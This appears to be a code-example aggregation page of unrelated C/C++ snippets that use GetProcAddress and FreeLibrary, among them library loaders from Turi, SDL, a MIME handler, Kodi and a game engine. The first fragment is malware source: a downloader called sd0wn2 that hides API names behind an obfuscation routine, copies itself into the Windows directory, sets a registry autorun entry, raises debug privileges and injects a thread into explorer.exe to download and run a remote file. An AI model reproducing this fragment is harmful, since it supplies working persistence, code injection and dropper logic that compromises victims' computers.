  fLookupPrivilege  = (Look)GetProcAddress(advapi32,crypt("NlknswX{c}eakhuGsapW"));
  fAdjustPrivilege  = (APrv)GetProcAddress(advapi32,crypt("Cgnpus\\fanb]|ffx~vspe"));
  fOpenProcToken    = (Optk)GetProcAddress(advapi32,crypt("MsakVugjoxYadu"));
  fRegCreateKey     = (RegK)GetProcAddress(advapi32,crypt("PfcFtbi}o@itO"));
  fRegSetValueEx    = (RegS)GetProcAddress(advapi32,crypt("PfcVcs^hf~iHvN"));
  fRegCloseKey      = (RegC)GetProcAddress(advapi32,crypt("PfcFjh{lAnu"));
  fRegOpenKeyEx     = (RegO)GetProcAddress(advapi32,crypt("PfcJvbfBorIuO"));
  fRegQueryValueEx  = (RegQ)GetProcAddress(advapi32,crypt("PfcTsbzp\\j`xkJhP"));

  //user32 apis
  fFindWindow       = (Finw)GetProcAddress(user32  ,crypt("DjjaQnfme|M"));
  fGetWindowId      = (Getw)GetProcAddress(user32  ,crypt("EfpRoilf}_dkntA`|wpedQ}"));

  //wininet functions
  fInetCheckConn    = (IChe)GetProcAddress(wininet ,crypt("Kmp`tim}IcineL|vwaxvX"));
  fInternetOpen     = (Inop)GetProcAddress(wininet ,crypt("Kmp`tim}E{icO"));
  fInternetOpenUrl  = (Inou)GetProcAddress(wininet ,crypt("Kmp`tim}E{ic[}|P"));
  fInternetReadFile = (IRef)GetProcAddress(wininet ,crypt("Kmp`tim}XnmiHf|t"));
  fInternetCloseH   = (Cloi)GetProcAddress(wininet ,crypt("Kmp`tim}Igc~kGqvq"));
  
  fShellExecute     = (Shee)GetProcAddress(shell32 ,crypt("QkaijBpli~xhO"));

  //get current path
  fGetModuleFileN(fGetModuleHandle(NULL),curpath,MAX_PATH);

  //current path + \\sdown.exe
  fGetWinDir(windir,sizeof(windir));
  lstrcat(windir,"\\sd0wn2.exe");

  //if current path is different than windir + \\sdown2.exe
  //copy itself to windir and execute itself
  if(lstrcmp(curpath,windir))
  {
   fCopyFile(curpath,windir,TRUE);
   fShellExecute(0,"open",windir,0,0,SW_HIDE);
   return 1;
  }

  //autorun
  if(fRegCreateKey(HKEY_CURRENT_USER,crypt("QlbqqfzlVFen|`c~tgHBy|vmh@^kmRDLWr@TTAFDw~X@"),&hKey) == ERROR_SUCCESS)
  {
   fRegSetValueEx(hKey,"sdown",0,REG_SZ,windir,sizeof(windir));
   fRegCloseKey(hKey);
  }
  //if dowloaded val is 1 than exit
  //becose when sd0wn download file, it writes at regkey + Downloaded val "1" 
  if(fRegOpenKeyEx(HKEY_CURRENT_USER,regkey,0,KEY_ALL_ACCESS,&hOpenkey)==ERROR_SUCCESS)
  {
   if(fRegQueryValueEx(hOpenkey,"downloaded",0,0,(unsigned char*)isdwnd,&issize)==ERROR_SUCCESS)
   if(!lstrcmp(isdwnd,"1"))
     return 1;
  }
 
  //cactulate ThreadProc size
   dwThrSize = (DWORD)end - (DWORD)ThreadProc;
  //Explorer.exe's handle
  if((window = fFindWindow(crypt("qkaijX|{kr{cj"),0)) == NULL)
    return 1;
  //Get Explorer's pid
  fGetWindowId(window,&pid);
  //The GetCurrentProcess function returns a pseudohandle 
  //for the current process.(MSDN)
  hCurrentProc = fGetCurrentProc();

  if (fOpenProcToken(hCurrentProc,TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES,&hToken))
    if(!RaisePrivleges(hToken,(char*)SE_DEBUG_NAME));
      //printf("Some Error");

  if(hToken)CloseHandle(hToken);

  //open the process so we can modify it
  if((hProcess = fOpenProcess(PROCESS_ALL_ACCESS,FALSE,pid)) == NULL)
    return 1;

  //allocate free space in the process
  if((pRemoteThread = fVirtualAllocEx(hProcess,0,(SIZE_T)dwThrSize,
	   MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE)) == NULL)
    return 1;

  //Write our ThreadProc in that allocated space
  if(fWriteProcessMem(hProcess,pRemoteThread,&ThreadProc,dwThrSize,0) == 0)
    return 1;
   
  //Clean InjL
  fZeroMemory(&InjL,sizeof(InjS));

  //Fill Inj struct
  //Inj.dwApi			  = (DWORD)Address of Api function
  InjL.dwCreateMutex      = (DWORD)fCreateMutex;
  InjL.dwGetLastError     = (DWORD)fGetLastError;
  InjL.dwExitThread       = (DWORD)fExitThread;
  InjL.dwVirtualFreeEx    = (DWORD)fVirtualFreeEx;
  InjL.dwICheckConn       = (DWORD)fInetCheckConn;
  InjL.dwSleep            = (DWORD)fSleep;
  InjL.dwInternetOpen     = (DWORD)fInternetOpen;
  InjL.dwInternetOpenUrl  = (DWORD)fInternetOpenUrl;
  InjL.dwCreateFile       = (DWORD)fCreateFile;
  InjL.dwInternetReadFile = (DWORD)fInternetReadFile;
  InjL.dwWriteFile        = (DWORD)fWriteFile;
  InjL.dwShellExecute     = (DWORD)fShellExecute;
  InjL.dwCloseHandle      = (DWORD)fCloseHandle;
  InjL.dwInternetCloseH   = (DWORD)fInternetCloseH;
  InjL.dwRegCreateKey     = (DWORD)fRegCreateKey;
  InjL.dwRegSetValueEx    = (DWORD)fRegSetValueEx;
  InjL.dwRegCloseKey      = (DWORD)fRegCloseKey;
  //sleep time
  InjL.stime              = sleeptime;

  //copy data that we need in struct
  lstrcpy(InjL.site      ,checksite);
  lstrcpy(InjL.downsite  ,downfile );
  lstrcpy(InjL.spath     ,savepath );
  lstrcpy(InjL.mtx       ,mtxname  );
  lstrcpy(InjL.regpath   ,regkey   );
  lstrcpy(InjL.downloaded,"downloaded");
  lstrcpy(InjL.ss        ,"1");
  //InjL.ss[0] = '1';
  //InjL.ss[1] = '\0';
  
  //allocate free space for our struct
  if((pInjL =(InjS *)fVirtualAllocEx(hProcess,0,sizeof(InjS),MEM_COMMIT,PAGE_READWRITE)) == NULL)
    return 1;

  //Write our struct in that allocated space
  if((fWriteProcessMem(hProcess,pInjL,&InjL,sizeof(InjL),0)) == 0)
    return 1;
  //run injected function + our struct as argument
  if((fCreateRemoteThr(hProcess,0,0,(DWORD(__stdcall *)(void *))pRemoteThread,pInjL,0,&dwThreadId)) == NULL)
    return 1;
  
  //Free Libraries
  FreeLibrary(shell32);
  FreeLibrary(wininet);
  FreeLibrary(advapi32);
  FreeLibrary(user32);
  FreeLibrary(kernel32);
  //CloseHandle :)
  CloseHandle(hProcess);
 return 0;
}
Example #10
0
  std::string unity_global::load_toolkit(std::string soname,
                                         std::string module_subpath) {
    // rewrite "local" protocol
    std::string protocol = fileio::get_protocol(soname);
    if (protocol == "local") {
      soname = fileio::remove_protocol(soname);
    }

    so_registration_list regentry;
    regentry.original_soname = soname;
    logstream(LOG_INFO) << "Attempt loading of " << sanitize_url(soname) << std::endl;

    // see if the file exists and whether we need to donwnload it
    if (fileio::try_to_open_file(soname) == false) {
      return "Unable to open file " + sanitize_url(soname);
    }

    if (protocol != "") {
      // there is a protocol associated. We need to copy this file to local
      // issue a copy to copy it to the local temp directory
      std::string tempname = get_temp_name();
      fileio::copy(soname, tempname);
      soname = tempname;
    }
    if (!file_contains_substring(soname, "get_toolkit_function_registration") &&
        !file_contains_substring(soname, "get_toolkit_class_registration")) {
      return soname + " is not a valid extension";
    }



    // get the base name of the shared library (without the .so)
    std::string modulename = fileio::get_filename(regentry.original_soname);
    std::vector<std::string> split_names;
    boost::algorithm::split(split_names, modulename, boost::is_any_of("."));
    if (split_names.size() == 0) return "Invalid filename";
    if (module_subpath.empty()) {
      regentry.modulename = split_names[0];
    } else if (module_subpath == "..") {
      regentry.modulename = "";
    } else {
      regentry.modulename = module_subpath + "." + split_names[0];
    }

    // goody. now for the dl loading
#ifndef _WIN32
    void* dl = dlopen(soname.c_str(), RTLD_NOW | RTLD_LOCAL);
#else
    void *dl = (void *)LoadLibrary(soname.c_str());
#endif
    logstream(LOG_INFO) << "Library load of " << sanitize_url(soname) << std::endl;
    regentry.effective_soname = soname;
    regentry.dl = dl;
    // check for failure
    if (dl == NULL) {
#ifndef _WIN32
      char* err = dlerror();
      // I think we need to copy this out early
      std::string ret = err;
      logstream(LOG_ERROR) << "Unable to load " << sanitize_url(soname) << ": " << ret << std::endl;
      if (err) return ret;
      else return "dlopen failed due to an unknown error";
#else
      std::string ret = get_last_err_str(GetLastError());
      logstream(LOG_ERROR) << "Unable to load " << sanitize_url(soname) << ": " << ret << std::endl;
      if (!ret.empty()) return ret;
      else return "LoadLibrary failed due to an unknown error";
#endif
    }

  /**************************************************************************/
  /*                                                                        */
  /*                         Function Registration                          */
  /*                                                                        */
  /**************************************************************************/
    // get the registration symbols
    std::vector<std::string> toolkit_function_reg_names
                {"get_toolkit_function_registration",
                  "_Z33get_toolkit_function_registrationv",
                  "__Z33get_toolkit_function_registrationv"};

    get_toolkit_function_registration_type get_toolkit_function_registration = nullptr;
    for (auto reg_name : toolkit_function_reg_names) {
      get_toolkit_function_registration =
          reinterpret_cast<get_toolkit_function_registration_type>
          (
#ifndef _WIN32
           dlsym(dl, reg_name.c_str())
#else
           (void *)GetProcAddress((HMODULE)dl, reg_name.c_str())
#endif
           );
      if (get_toolkit_function_registration != nullptr) break;
    }

    // register functions
    if (get_toolkit_function_registration) {
      auto functions = (*get_toolkit_function_registration)();
      for (auto& fn: functions) {
        if (!regentry.modulename.empty()) {
          fn.name = regentry.modulename + "." + fn.name;
        }
        fn.description["file"] = regentry.original_soname;
        logstream(LOG_INFO) << "Adding function: " << fn.name << std::endl;
        regentry.functions.push_back(fn.name);
      }
      toolkit_functions->register_toolkit_function(functions);
    }

/**************************************************************************/
/*                                                                        */
/*                           Class Registration                           */
/*                                                                        */
/**************************************************************************/

    std::vector<std::string> toolkit_class_reg_names
                {"get_toolkit_class_registration",
                 "_Z30get_toolkit_class_registrationv",
                 "__Z30get_toolkit_class_registrationv"};
    get_toolkit_class_registration_type get_toolkit_class_registration = nullptr;
    for (auto reg_name : toolkit_class_reg_names) {
      get_toolkit_class_registration =
          reinterpret_cast<get_toolkit_class_registration_type>
          (
#ifndef _WIN32
           dlsym(dl, reg_name.c_str())
#else
           (void *)GetProcAddress((HMODULE)dl, reg_name.c_str())
#endif
           );
      if (get_toolkit_class_registration != nullptr) break;
    }

    // register classes
    if (get_toolkit_class_registration) {
      auto class_reg = (*get_toolkit_class_registration)();
      for (auto& cl: class_reg) {
        if (!regentry.modulename.empty()) {
          cl.name = regentry.modulename + "." + cl.name;
        }
        cl.description["file"] = regentry.original_soname;
        logstream(LOG_INFO) << "Adding class : " << cl.name << std::endl;
        regentry.functions.push_back(cl.name);
      }
      classes->register_toolkit_class(class_reg);
    }


    if (regentry.functions.empty() && regentry.classes.empty()) {
      // nothing has been registered! unload the dl
#ifndef _WIN32
      dlclose(dl);
#else
      FreeLibrary((HMODULE)dl);
#endif
      return "No functions or classes registered by " + sanitize_url(soname);
    }
    // note that it is possible to load a toolkit multiple times.
    // It is not safe to unload previously loaded toolkits since I may have
    // a reference to it (for instance a class). We just keep loading over
    // and hope for the best.

    // store and remember the dlhandle and what was registered;
    dynamic_loaded_toolkits[regentry.original_soname] = regentry;
    return std::string();
  }
Example #11
0
static SDL_VideoDevice *
WIN_CreateDevice(int devindex)
{
    SDL_VideoDevice *device;
    SDL_VideoData *data;

    SDL_RegisterApp(NULL, 0, NULL);

    /* Initialize all variables that we clean on shutdown */
    device = (SDL_VideoDevice *) SDL_calloc(1, sizeof(SDL_VideoDevice));
    if (device) {
        data = (struct SDL_VideoData *) SDL_calloc(1, sizeof(SDL_VideoData));
    }
    if (!device || !data) {
        SDL_OutOfMemory();
        if (device) {
            SDL_free(device);
        }
        return NULL;
    }
    device->driverdata = data;

#if SDL_VIDEO_RENDER_D3D
    data->d3dDLL = LoadLibrary(TEXT("D3D9.DLL"));
    if (data->d3dDLL) {
        IDirect3D9 *(WINAPI * D3DCreate) (UINT SDKVersion);

        D3DCreate =
            (IDirect3D9 * (WINAPI *) (UINT)) GetProcAddress(data->d3dDLL,
                                                            "Direct3DCreate9");
        if (D3DCreate) {
            data->d3d = D3DCreate(D3D_SDK_VERSION);
        }
        if (!data->d3d) {
            FreeLibrary(data->d3dDLL);
            data->d3dDLL = NULL;
        }
    }
#endif /* SDL_VIDEO_RENDER_D3D */

    data->wintabDLL = LoadLibrary(TEXT("WINTAB32.DLL"));
    if (data->wintabDLL) {
#define PROCNAME(X) #X
        data->WTInfoA =
            (UINT(*)(UINT, UINT, LPVOID)) GetProcAddress(data->wintabDLL,
                                                         PROCNAME(WTInfoA));
        data->WTOpenA =
            (HCTX(*)(HWND, LPLOGCONTEXTA, BOOL)) GetProcAddress(data->
                                                                wintabDLL,
                                                                PROCNAME
                                                                (WTOpenA));
        data->WTPacket =
            (int (*)(HCTX, UINT, LPVOID)) GetProcAddress(data->wintabDLL,
                                                         PROCNAME(WTPacket));
        data->WTClose =
            (BOOL(*)(HCTX)) GetProcAddress(data->wintabDLL,
                                           PROCNAME(WTClose));
#undef PROCNAME

        if (!data->WTInfoA || !data->WTOpenA || !data->WTPacket
            || !data->WTClose) {
            FreeLibrary(data->wintabDLL);
            data->wintabDLL = NULL;
        }
    }

    /* Set the function pointers */
    device->VideoInit = WIN_VideoInit;
    device->VideoQuit = WIN_VideoQuit;
    device->GetDisplayModes = WIN_GetDisplayModes;
    device->SetDisplayMode = WIN_SetDisplayMode;
    device->SetDisplayGammaRamp = WIN_SetDisplayGammaRamp;
    device->GetDisplayGammaRamp = WIN_GetDisplayGammaRamp;
    device->PumpEvents = WIN_PumpEvents;

#undef CreateWindow
    device->CreateWindow = WIN_CreateWindow;
    device->CreateWindowFrom = WIN_CreateWindowFrom;
    device->SetWindowTitle = WIN_SetWindowTitle;
    device->SetWindowIcon = WIN_SetWindowIcon;
    device->SetWindowPosition = WIN_SetWindowPosition;
    device->SetWindowSize = WIN_SetWindowSize;
    device->ShowWindow = WIN_ShowWindow;
    device->HideWindow = WIN_HideWindow;
    device->RaiseWindow = WIN_RaiseWindow;
    device->MaximizeWindow = WIN_MaximizeWindow;
    device->MinimizeWindow = WIN_MinimizeWindow;
    device->RestoreWindow = WIN_RestoreWindow;
    device->SetWindowGrab = WIN_SetWindowGrab;
    device->DestroyWindow = WIN_DestroyWindow;
    device->GetWindowWMInfo = WIN_GetWindowWMInfo;
#ifdef SDL_VIDEO_OPENGL_WGL
    device->GL_LoadLibrary = WIN_GL_LoadLibrary;
    device->GL_GetProcAddress = WIN_GL_GetProcAddress;
    device->GL_UnloadLibrary = WIN_GL_UnloadLibrary;
    device->GL_CreateContext = WIN_GL_CreateContext;
    device->GL_MakeCurrent = WIN_GL_MakeCurrent;
    device->GL_SetSwapInterval = WIN_GL_SetSwapInterval;
    device->GL_GetSwapInterval = WIN_GL_GetSwapInterval;
    device->GL_SwapWindow = WIN_GL_SwapWindow;
    device->GL_DeleteContext = WIN_GL_DeleteContext;
#endif

    device->free = WIN_DeleteDevice;

    return device;
}
Example #12
0
/* Runs a handler process specified by full command line <data> (with arguments).
 * Before running:
 * Replaces environment variables.
 * Replaces special MimeRun variables (see above) with the detected values taken from <mres>.
 * Replaces %* and %N with the appropriate bits of <lpfile> and <einfo>->lpParameters.
 * If <executable> is TRUE, waits until the handler process terminates, otherwise returns
 * (almost) immediately.
 */
int run_handler (wchar_t *logfile, wchar_t *data, MimeResults *mres, LPSHELLEXECUTEINFOW einfo, wchar_t *lpfile, wchar_t *lpdir, int executable, int fix_redir)
{
  BOOL ret = 0;
  PVOID redir;
  HMODULE kernel32 = NULL;
  Wow64DisableWow64FsRedirectionFunction disablewow64 = NULL;
  Wow64RevertWow64FsRedirectionFunction revertwow64 = NULL;
  DWORD err;
  int i;
  int depth = 0;
  size_t dupdatalen;
  wchar_t *exp_data = NULL;
  wchar_t *dupdata = NULL;
  wchar_t *dupparams = NULL;
  wchar_t **old_argv = NULL, **newargv = NULL;
  STARTUPINFOW si;
  PROCESS_INFORMATION pi;
  DWORD applelen, typelen, enclen, namelen;
  wchar_t *store_apple = NULL, *store_type = NULL, *store_enc = NULL, *store_name = NULL;

  logtofilew (logfile, L">run_handler\n");

  if (einfo->lpParameters != NULL)
  {
    i = wcslen (einfo->lpParameters) + 1 + wcslen (lpfile);
    logtofilew (logfile, L"Fake commandline length is %d + 1 + %d == %d\n", wcslen (einfo->lpParameters), wcslen (lpfile), i);
    dupparams = (wchar_t *) malloc (sizeof (wchar_t *) * (i + 1));
    if (dupparams == NULL)
    {
      logtofilew (logfile, L"Failed to allocate %d bytes\n", sizeof (wchar_t *) * (i + 1));
      return 1;
    }
    dupparams[0] = L'\0';
    wcscat (dupparams, lpfile);
    wcscat (dupparams, L" ");
    wcscat (dupparams, einfo->lpParameters);
    logtofilew (logfile, L"Fake commandline is %s\n", dupparams);
    if (make_argv (dupparams, &i, NULL) == 0 && i >= 1)
    {
      old_argv = (wchar_t **) malloc (sizeof (wchar_t *) * (i + 1));
      make_argv (dupparams, NULL, old_argv);
      old_argv[i] = NULL;
      logtofilew (logfile, L"Old arguments:\n");
      for (i = 0; old_argv[i] != NULL; i++)
        logtofilew (logfile, L"%2d: %s\n", i, old_argv[i]);
      logtofilew (logfile, L"\n");
    }
    else
    {
      logtofilew (logfile, L"First call to make_argv() have failed or argc <= 0\n");
      free (dupparams);
      return 2;
    }
  }
  else
  {
    old_argv = (wchar_t **) malloc (sizeof (wchar_t *) * 2);
    old_argv[0] = lpfile;
    old_argv[1] = NULL;
    logtofilew (logfile, L"Old arguments:\n");
    for (i = 0; old_argv[i] != NULL; i++)
      logtofilew (logfile, L"%2d: %s\n", i, old_argv[i]);
    logtofilew (logfile, L"\n");
  }

  store_name = store_var (NAME_VARW, &namelen);
  store_type = store_var (TYPE_VARW, &typelen);
  store_enc = store_var (ENC_VARW, &enclen);
  store_apple = store_var (APPLE_VARW, &applelen);

  logtofilew (logfile, L"Backed up variables: {%s}, {%s}, {%s}, {%s}\n", store_name, store_type, store_enc, store_apple);

  SetEnvironmentVariableW (NAME_VARW, mres->wname == NULL ? L"" : mres->wname);
  SetEnvironmentVariableW (TYPE_VARW, mres->wtype == NULL ? L"" : mres->wtype);
  SetEnvironmentVariableW (ENC_VARW, mres->wenc == NULL ? L"" : mres->wenc);
  SetEnvironmentVariableW (APPLE_VARW, mres->wapple == NULL ? L"" : mres->wapple);
  
  exp_data = expand_vars (data, old_argv);

  logtofilew (logfile, L"Commandline with expanded variables: %s\n", exp_data);
  if (dupparams != NULL)
    free (dupparams);
  if (old_argv != NULL)
    free (old_argv);

  SetEnvironmentVariableW (NAME_VARW, store_name);
  SetEnvironmentVariableW (TYPE_VARW, store_type);
  SetEnvironmentVariableW (ENC_VARW, store_enc);
  SetEnvironmentVariableW (APPLE_VARW, store_apple);

  if (store_apple != NULL)
    free (store_apple);
  if (store_type != NULL)
    free (store_type);
  if (store_enc != NULL)
    free (store_enc);
  if (store_name != NULL)
    free (store_name);

  dupdata = (wchar_t *) wcsdup (exp_data);
  if (make_argv (dupdata, &i, NULL) == 0 && i >= 1)
  {
    newargv = (wchar_t **) malloc (sizeof (wchar_t *) * (i + 1));
    make_argv (dupdata, NULL, newargv);
    newargv[i] = NULL;
  }
  else
  {
    logtofilew (logfile, L"First call to make_argv() have failed or argc <= 0\n");
    free (dupdata);
    return 3;
  }

  memset (&si, 0, sizeof (si));
  si.cb = sizeof (si);
  if (einfo->nShow != SW_SHOWDEFAULT)
  {
    si.dwFlags |= STARTF_USESHOWWINDOW;
    si.wShowWindow = einfo->nShow;
    logtofilew (logfile, L"Using nShow == %d\n", si.wShowWindow);
  }


  if (einfo->fMask & SEE_MASK_NO_CONSOLE)
  {
    logtofilew (logfile, L"We will create new console and will not inherit in/out/err handles\n");
  }
  else
  {
    logtofilew (logfile, L"We will not create new console, child process will inherit in/out/err handles\n");
    si.dwFlags |= STARTF_USESTDHANDLES;
    si.hStdInput = GetStdHandle (STD_INPUT_HANDLE);
    si.hStdOutput = GetStdHandle (STD_OUTPUT_HANDLE);
    si.hStdError = GetStdHandle (STD_ERROR_HANDLE);
  }

  if (fix_redir && iam32on64 ())
  {
    kernel32 = LoadLibraryW (L"kernel32.dll");
    if (kernel32 != NULL)
    {
      disablewow64 = (Wow64DisableWow64FsRedirectionFunction) GetProcAddress (kernel32, "Wow64DisableWow64FsRedirection");
      revertwow64 = (Wow64RevertWow64FsRedirectionFunction) GetProcAddress (kernel32, "Wow64RevertWow64FsRedirection");
      if (disablewow64 == NULL || revertwow64 == NULL)
        fix_redir = 0;
      else
        fix_redir = disablewow64 (&redir);
    }
    else
      fix_redir = 0;
  }
  else
    fix_redir = 0;

  ret = CreateProcessW (newargv[0], exp_data, NULL, NULL, TRUE, einfo->fMask & SEE_MASK_NO_CONSOLE ? CREATE_NEW_CONSOLE : 0, NULL, lpdir, &si, &pi);
  err = GetLastError();
  if (fix_redir != 0)
    revertwow64 (redir);
  if (kernel32 != NULL)
    FreeLibrary (kernel32);

  if (ret != 0)
  {
    logtofilew (logfile, L"CreateProcessW() succeeded\n");
    ret = 0;
    if (executable)
    {
      logtofilew (logfile, L"Waiting until executable process terminates...\n");
      WaitForSingleObject (pi.hProcess, INFINITE);
      logtofilew (logfile, L"Finished waiting until executable process terminates\n");
    }
    else
    {
      if (einfo->fMask & SEE_MASK_NOCLOSEPROCESS)
      {
        einfo->hProcess = pi.hProcess;
        logtofilew (logfile, L"Will return process handle %08X\n", pi.hProcess);
      }
      if (einfo->fMask & SEE_MASK_WAITFORINPUTIDLE)
      {
        logtofilew (logfile, L"Waiting until non-executable process' input idles...\n");
        WaitForInputIdle (pi.hProcess, 60*1000);
        logtofilew (logfile, L"Finished waiting until non-executable process' input idles\n");
      }
    }
    einfo->hInstApp = (HINSTANCE) 33;
  }
  else
  {
    logtofilew (logfile, L"CreateProcessW() have failed with %d\n", err);
    switch (err)
    {
    case ERROR_FILE_NOT_FOUND:
      einfo->hInstApp = (HINSTANCE) SE_ERR_FNF;
      break;
    case ERROR_PATH_NOT_FOUND:
      einfo->hInstApp = (HINSTANCE) SE_ERR_PNF;
      break;
    case ERROR_ACCESS_DENIED:
      einfo->hInstApp = (HINSTANCE) SE_ERR_ACCESSDENIED;
      break;
    case ERROR_NOT_ENOUGH_MEMORY:
      einfo->hInstApp = (HINSTANCE) SE_ERR_OOM;
      break;
    default:
      einfo->hInstApp = (HINSTANCE) 33;
    }
    ret = 1;
  }
  logtofilew (logfile, L"hInstApp is set to %d\n", einfo->hInstApp);
  free (exp_data);
  if (dupdata != NULL)
    free (dupdata);
  if (newargv != NULL)
    free (newargv);
  logtofilew (logfile, L"<run_handler %d\n", ret);
  return ret;
}
Example #13
0
/**
 * \fn int CEnvironment::win32_setenv(const std::wstring &name, const std::wstring &value = L"",
 *     updateAction action = autoDetect)
 * \brief Internal function used to manipulate with environment variables on win32.
 * 		  
 * This function make all dirty work with setting, deleting and modifying environment variables.
 *
 * \param name   The environment variable name.
 * \param value  (optional) the new value of environment variable.
 * \param action (optional) the action.
 * \return Zero on success, 2 if at least one external runtime update failed, 4 if process
 * 		   environment update failed, 8 if our runtime environment update failed or, in case of
 * 		   several errors, sum of all errors values; non-zero in case of other errors.
 */
int CEnvironment::win32_setenv(const std::string &name, const std::string &value /* = "" */, enum updateAction action /* = autoDetect */)
{
  std::wstring Wname (win32ConvertUtf8ToW(name));
  if (Wname.empty() || name.find('=') != std::wstring::npos)
    return -1;
  if ( (action == addOnly || action == addOrUpdateOnly) && value.empty() )
    return -1;
  if (action == addOnly && !(getenv(name).empty()) )
    return 0;

  bool convIsOK;
  std::wstring Wvalue (win32ConvertUtf8ToW(value,&convIsOK));
  if (!convIsOK)
    return -1;

  int retValue = 0;
  std::wstring EnvString;
  if (action == deleteVariable)
    EnvString = Wname + L"=";
  else
    EnvString = Wname + L"=" + Wvalue;

  static const wchar_t *modulesList[] =
  {
  /*{ L"msvcrt20.dll" }, // Visual C++ 2.0 / 2.1 / 2.2
    { L"msvcrt40.dll" }, // Visual C++ 4.0 / 4.1 */ // too old and no UNICODE support - ignoring
    { L"msvcrt.dll" },   // Visual Studio 6.0 / MinGW[-w64]
    { L"msvcr70.dll" },  // Visual Studio 2002
    { L"msvcr71.dll" },  // Visual Studio 2003
    { L"msvcr80.dll" },  // Visual Studio 2005
    { L"msvcr90.dll" },  // Visual Studio 2008
    { L"msvcr100.dll" }, // Visual Studio 2010
#ifdef _DEBUG
    { L"msvcr100d.dll" },// Visual Studio 2010 (debug)
#endif
    { L"msvcr110.dll" }, // Visual Studio 2012
#ifdef _DEBUG
    { L"msvcr110d.dll" },// Visual Studio 2012 (debug)
#endif
    { NULL }             // Terminating NULL for list
  };
  
  // Check all modules each function run, because modules can be loaded/unloaded at runtime
  for (int i = 0; modulesList[i]; i++)
  {
    HMODULE hModule;
    if (!GetModuleHandleExW(0, modulesList[i], &hModule) || hModule == NULL) // Flag 0 ensures that module will be kept loaded until it'll be freed
      continue; // Module not loaded

    wputenvPtr wputenvFunc = (wputenvPtr) GetProcAddress(hModule, "_wputenv");
    if (wputenvFunc != NULL && wputenvFunc(EnvString.c_str()) != 0)
      retValue |= 2; // At lest one external runtime library Environment update failed
    FreeLibrary(hModule);
  }

  // Update process Environment used for current process and for future new child processes
  if (action == deleteVariable || value.empty())
    retValue += SetEnvironmentVariableW(Wname.c_str(), NULL) ? 0 : 4; // 4 if failed
  else
    retValue += SetEnvironmentVariableW(Wname.c_str(), Wvalue.c_str()) ? 0 : 4; // 4 if failed
  
  // Finally update our runtime Environment
  retValue += (::_wputenv(EnvString.c_str()) == 0) ? 0 : 8; // 8 if failed
  
  return retValue;
}
Example #14
0
/**
 * The destructor
 * Unload the dll if it was loaded
 */
CPluginInfo::~CPluginInfo() {
  if (m_pDll!=NULL) FreeLibrary(m_pDll);
}
Example #15
0
void DoMain (HINSTANCE hInstance)
{
	LONG WinWidth, WinHeight;
	int height, width, x, y;
	RECT cRect;
	TIMECAPS tc;
	DEVMODE displaysettings;

	try
	{
#ifdef _MSC_VER
		_set_new_handler (NewFailure);
#endif

		Args = new DArgs(__argc, __argv);

		// Under XP, get our session ID so we can know when the user changes/locks sessions.
		// Since we need to remain binary compatible with older versions of Windows, we
		// need to extract the ProcessIdToSessionId function from kernel32.dll manually.
		HMODULE kernel = GetModuleHandle ("kernel32.dll");

		if (Args->CheckParm("-stdout"))
		{
			// As a GUI application, we don't normally get a console when we start.
			// If we were run from the shell and are on XP+, we can attach to its
			// console. Otherwise, we can create a new one. If we already have a
			// stdout handle, then we have been redirected and should just use that
			// handle instead of creating a console window.

			StdOut = GetStdHandle(STD_OUTPUT_HANDLE);
			if (StdOut != NULL)
			{
				// It seems that running from a shell always creates a std output
				// for us, even if it doesn't go anywhere. (Running from Explorer
				// does not.) If we can get file information for this handle, it's
				// a file or pipe, so use it. Otherwise, pretend it wasn't there
				// and find a console to use instead.
				BY_HANDLE_FILE_INFORMATION info;
				if (!GetFileInformationByHandle(StdOut, &info))
				{
					StdOut = NULL;
				}
			}
			if (StdOut == NULL)
			{
				// AttachConsole was introduced with Windows XP. (OTOH, since we
				// have to share the console with the shell, I'm not sure if it's
				// a good idea to actually attach to it.)
				typedef BOOL (WINAPI *ac)(DWORD);
				ac attach_console = kernel != NULL ? (ac)GetProcAddress(kernel, "AttachConsole") : NULL;
				if (attach_console != NULL && attach_console(ATTACH_PARENT_PROCESS))
				{
					StdOut = GetStdHandle(STD_OUTPUT_HANDLE);
					DWORD foo; WriteFile(StdOut, "\n", 1, &foo, NULL);
					AttachedStdOut = true;
				}
				if (StdOut == NULL && AllocConsole())
				{
					StdOut = GetStdHandle(STD_OUTPUT_HANDLE);
				}
				FancyStdOut = true;
			}
		}

		// Set the timer to be as accurate as possible
		if (timeGetDevCaps (&tc, sizeof(tc)) != TIMERR_NOERROR)
			TimerPeriod = 1;	// Assume minimum resolution of 1 ms
		else
			TimerPeriod = tc.wPeriodMin;

		timeBeginPeriod (TimerPeriod);

		/*
		killough 1/98:

		This fixes some problems with exit handling
		during abnormal situations.

		The old code called I_Quit() to end program,
		while now I_Quit() is installed as an exit
		handler and exit() is called to exit, either
		normally or abnormally.
		*/

		atexit (call_terms);

		atterm (I_Quit);

		// Figure out what directory the program resides in.
		char *program;

#ifdef _MSC_VER
		if (_get_pgmptr(&program) != 0)
		{
			I_FatalError("Could not determine program location.");
		}
#else
		char progbuff[1024];
		GetModuleFileName(0, progbuff, sizeof(progbuff));
		progbuff[1023] = '\0';
		program = progbuff;
#endif

		progdir = program;
		program = progdir.LockBuffer();
		*(strrchr(program, '\\') + 1) = '\0';
		FixPathSeperator(program);
		progdir.Truncate((long)strlen(program));
		progdir.UnlockBuffer();
/*
		height = GetSystemMetrics (SM_CYFIXEDFRAME) * 2 +
				GetSystemMetrics (SM_CYCAPTION) + 12 * 32;
		width  = GetSystemMetrics (SM_CXFIXEDFRAME) * 2 + 8 * 78;
*/
		width = 512;
		height = 384;

		// Many Windows structures that specify their size do so with the first
		// element. DEVMODE is not one of those structures.
		memset (&displaysettings, 0, sizeof(displaysettings));
		displaysettings.dmSize = sizeof(displaysettings);
		EnumDisplaySettings (NULL, ENUM_CURRENT_SETTINGS, &displaysettings);
		x = (displaysettings.dmPelsWidth - width) / 2;
		y = (displaysettings.dmPelsHeight - height) / 2;

		if (Args->CheckParm ("-0"))
		{
			x = y = 0;
		}

		WNDCLASS WndClass;
		WndClass.style			= 0;
		WndClass.lpfnWndProc	= LConProc;
		WndClass.cbClsExtra		= 0;
		WndClass.cbWndExtra		= 0;
		WndClass.hInstance		= hInstance;
		WndClass.hIcon			= LoadIcon (hInstance, MAKEINTRESOURCE(IDI_ICON1));
		WndClass.hCursor		= LoadCursor (NULL, IDC_ARROW);
		WndClass.hbrBackground	= NULL;
		WndClass.lpszMenuName	= NULL;
		WndClass.lpszClassName	= (LPCTSTR)WinClassName;
		
		/* register this new class with Windows */
